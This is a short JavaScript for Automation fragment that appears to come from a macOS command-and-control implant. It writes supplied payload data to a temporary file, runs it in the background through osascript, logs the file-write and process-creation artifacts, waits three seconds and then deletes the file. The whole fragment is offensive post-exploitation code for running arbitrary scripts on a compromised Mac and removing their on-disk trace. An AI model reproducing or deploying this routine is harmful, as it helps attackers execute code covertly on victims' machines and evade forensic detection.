let path = "/usr/bin/osascript";
let result = write_data_to_file(file, temp_file);
if(result !== "file written"){return {"user_output": result, "completed": true, "status": 'error'};}
else{artifacts.push({"base_artifact": "File Write", "artifact": temp_file});}
let args = ['-l','JavaScript', temp_file, '&'];
try{
let pipe = $.NSPipe.pipe;
let file = pipe.fileHandleForReading; // NSFileHandle
let task = $.NSTask.alloc.init;
task.launchPath = path;
task.arguments = args;
task.standardOutput = pipe;
task.standardError = pipe;
task.launch;
artifacts.push({"base_artifact": "Process Create", "artifact": "/usr/bin/osascript " + args.join(" ")});
}
catch(error){
return {"user_output":error.toString(), "completed": true, "status": "error", "artifacts": artifacts};
}
//give the system time to actually execute the file before we delete it
$.NSThread.sleepForTimeInterval(3);
let fileManager = $.NSFileManager.defaultManager;
fileManager.removeItemAtPathError($(temp_file), $());